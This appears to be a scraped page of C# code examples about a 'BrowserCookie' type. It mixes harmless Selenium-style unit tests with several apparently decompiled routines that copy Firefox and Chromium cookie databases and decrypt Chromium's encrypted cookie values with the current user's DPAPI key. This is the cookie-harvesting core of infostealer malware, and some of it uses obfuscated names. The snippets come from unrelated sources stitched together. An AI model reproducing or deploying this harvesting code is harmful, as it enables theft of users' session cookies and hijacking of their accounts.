// Token: 0x0600009B RID: 155 RVA: 0x000066FC File Offset: 0x000048FC
        public List <BrowserCookie> GetCookies(string profile)
        {
            List <BrowserCookie> list = new List <BrowserCookie>();

            try
            {
                string text = Path.Combine(profile, "cookies.sqlite");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SqlConnection sqlConnection = new SqlConnection(RecoveryHelper.CreateTempCopy(text));
                sqlConnection.ReadTable("moz_cookies");
                int i = 0;
                while (i < sqlConnection.GetRowCount())
                {
                    BrowserCookie browserCookie = null;
                    try
                    {
                        browserCookie = new BrowserCookie
                        {
                            Host    = sqlConnection.GetValue(i, "host").Trim(),
                            Http    = (sqlConnection.GetValue(i, "isSecure") == "1"),
                            Path    = sqlConnection.GetValue(i, "path").Trim(),
                            Secure  = (sqlConnection.GetValue(i, "isSecure") == "1"),
                            Expires = sqlConnection.GetValue(i, "expiry").Trim(),
                            Name    = sqlConnection.GetValue(i, "name").Trim(),
                            Value   = sqlConnection.GetValue(i, "value")
                        };
                        goto IL_118;
                    }
                    catch
                    {
                        goto IL_118;
                    }
                    goto IL_105;
IL_10D:
                    i++;
                    continue;
IL_105:
                    list.Add(browserCookie);
                    goto IL_10D;
IL_118:
                    if (browserCookie != null)
                    {
                        goto IL_105;
                    }
                    goto IL_10D;
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
        public void TestBrowserCookieNoCookies()
        {
            WebDriver.SetupGet(x => x.Manage().Cookies.AllCookies)
            .Returns(new List <Cookie>().AsReadOnly());

            Actor.Invoking(x => x.AsksFor(BrowserCookie.Named("does not exist")))
            .Should().Throw <BrowserInteractionException>()
            .WithMessage("The browser does not contain a cookie named 'does not exist'");

            Logger.Messages.Should().ContainMatch("*The browser does not contain any cookies");
        }
        public void TestBrowserCookieExists()
        {
            var cookieA = new Cookie("apple", "tree");
            var cookieB = new Cookie("bee", "hive");

            WebDriver.SetupGet(x => x.Manage().Cookies.AllCookies)
            .Returns(new List <Cookie> {
                cookieA, cookieB
            }.AsReadOnly());
            WebDriver.Setup(x => x.Manage().Cookies.GetCookieNamed("apple")).Returns(cookieA);
            WebDriver.Setup(x => x.Manage().Cookies.GetCookieNamed("bee")).Returns(cookieB);

            Actor.AsksFor(BrowserCookie.Named("bee")).Value.Should().Be("hive");
        }
Esempio n. 4
0
        // Token: 0x060000E4 RID: 228 RVA: 0x00006F1C File Offset: 0x0000511C
        public static IEnumerable <BrowserCookie> ExtractCookies(string profile)
        {
            List <BrowserCookie> list = new List <BrowserCookie>();

            try
            {
                string text = Path.Combine(profile, "cookies.sqlite");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text));
                Console.WriteLine(sqliteManager.ReadTable("moz_cookies"));
                for (int i = 0; i < sqliteManager.GetRowCount(); i++)
                {
                    BrowserCookie browserCookie = null;
                    try
                    {
                        browserCookie = new BrowserCookie
                        {
                            Host    = sqliteManager.GetValue(i, "host").Trim(),
                            Http    = (sqliteManager.GetValue(i, "isSecure") == "1"),
                            Path    = sqliteManager.GetValue(i, "path").Trim(),
                            Secure  = (sqliteManager.GetValue(i, "isSecure") == "1"),
                            Expires = sqliteManager.GetValue(i, "expiry").Trim(),
                            Name    = sqliteManager.GetValue(i, "name").Trim(),
                            Value   = sqliteManager.GetValue(i, "value")
                        };
                    }
                    catch
                    {
                    }
                    if (browserCookie != null)
                    {
                        list.Add(browserCookie);
                        Console.WriteLine(browserCookie);
                    }
                }
            }
            catch (Exception value)
            {
                Console.WriteLine(value);
            }
            return(list);
        }
Esempio n. 5
0
        public List <BrowserCookie> CookMhn(string profile)
        {
            List <BrowserCookie> list = new List <BrowserCookie>();

            try
            {
                string text = Path.Combine(profile, "cookies.sqlite");
                if (!File.Exists(text))
                {
                    return(list);
                }
                CNT cNT = new CNT(rcvr.CreateTempCopy(text));
                cNT.ReadTable("moz_cookies");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    BrowserCookie browserCookie = null;
                    try
                    {
                        browserCookie = new BrowserCookie
                        {
                            Host    = cNT.ParseValue(i, "host").Trim(),
                            Http    = (cNT.ParseValue(i, "isSecure") == "1"),
                            Path    = cNT.ParseValue(i, "path").Trim(),
                            Secure  = (cNT.ParseValue(i, "isSecure") == "1"),
                            Expires = cNT.ParseValue(i, "expiry").Trim(),
                            Name    = cNT.ParseValue(i, "name").Trim(),
                            Value   = cNT.ParseValue(i, "value")
                        };
                    }
                    catch
                    {
                    }
                    if (browserCookie != null)
                    {
                        list.Add(browserCookie);
                    }
                }
                return(list);
            }
            catch (Exception)
            {
                return(list);
            }
        }
Esempio n. 6
0
        public List <BrowserCookie> EnumCook(string profilePath)
        {
            List <BrowserCookie> list = new List <BrowserCookie>();

            try
            {
                string text = Path.Combine(profilePath, "Cookies");
                if (!File.Exists(text))
                {
                    return(list);
                }
                CNT cNT = new CNT(rcvr.CreateTempCopy(text));
                cNT.ReadTable("cookies");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    BrowserCookie browserCookie = null;
                    try
                    {
                        browserCookie = new BrowserCookie
                        {
                            Host    = cNT.ParseValue(i, "host_key").Trim(),
                            Http    = (cNT.ParseValue(i, "httponly") == "1"),
                            Path    = cNT.ParseValue(i, "path").Trim(),
                            Secure  = (cNT.ParseValue(i, "secure") == "1"),
                            Expires = cNT.ParseValue(i, "expires_utc").Trim(),
                            Name    = cNT.ParseValue(i, "name").Trim(),
                            Value   = rcvr.DecryptBlob(cNT.ParseValue(i, "encrypted_value"), DataProtectionScope.CurrentUser).Trim()
                        };
                    }
                    catch (Exception)
                    {
                    }
                    if (browserCookie != null)
                    {
                        list.Add(browserCookie);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
Esempio n. 7
0
        // Token: 0x060000AE RID: 174 RVA: 0x0000561C File Offset: 0x0000381C
        public static IEnumerable <BrowserCookie> ExtractCookies(string profilePath)
        {
            List <BrowserCookie> list = new List <BrowserCookie>();

            try
            {
                string text = Path.Combine(profilePath, "Cookies");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text));
                sqliteManager.ReadTable("cookies");
                for (int i = 0; i < sqliteManager.GetRowCount(); i++)
                {
                    BrowserCookie browserCookie = null;
                    try
                    {
                        browserCookie = new BrowserCookie
                        {
                            Host    = sqliteManager.GetValue(i, "host_key").Trim(),
                            Http    = (sqliteManager.GetValue(i, "httponly") == "1"),
                            Path    = sqliteManager.GetValue(i, "path").Trim(),
                            Secure  = (sqliteManager.GetValue(i, "secure") == "1"),
                            Expires = sqliteManager.GetValue(i, "expires_utc").Trim(),
                            Name    = sqliteManager.GetValue(i, "name").Trim(),
                            Value   = ChromiumManager.DecryptBlob(sqliteManager.GetValue(i, "encrypted_value"), DataProtectionScope.CurrentUser, null, false).Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserCookie != null)
                    {
                        list.Add(browserCookie);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
        public void TestBrowserCookieWrongCookie()
        {
            var cookieA = new Cookie("apple", "tree");
            var cookieB = new Cookie("bee", "hive");

            WebDriver.SetupGet(x => x.Manage().Cookies.AllCookies)
            .Returns(new List <Cookie> {
                cookieA, cookieB
            }.AsReadOnly());
            WebDriver.Setup(x => x.Manage().Cookies.GetCookieNamed("apple")).Returns(cookieA);
            WebDriver.Setup(x => x.Manage().Cookies.GetCookieNamed("bee")).Returns(cookieB);

            Actor.Invoking(x => x.AsksFor(BrowserCookie.Named("does not exist")))
            .Should().Throw <BrowserInteractionException>()
            .WithMessage("The browser does not contain a cookie named 'does not exist'");

            Logger.Messages.Should().ContainMatch("*The browser contains the following cookies:");
            Logger.Messages.Should().ContainMatch("*apple: tree");
            Logger.Messages.Should().ContainMatch("*bee: hive");
        }
Esempio n. 9
0
 public CookieRequest(BrowserCookie cookie)
     : this(cookie.Domain, cookie.Name, cookie.Path, cookie.Value, cookie.HostOnly, cookie.HttpOnly, cookie.Secure, cookie.SameSite, cookie.ExpirationDate)
 {
 }
 // Token: 0x060000A5 RID: 165 RVA: 0x0000236F File Offset: 0x0000056F
 internal bool <GetAll> b__0_0(BrowserCookie x)
 {
     return(x.IsNotNull <BrowserCookie>());
 }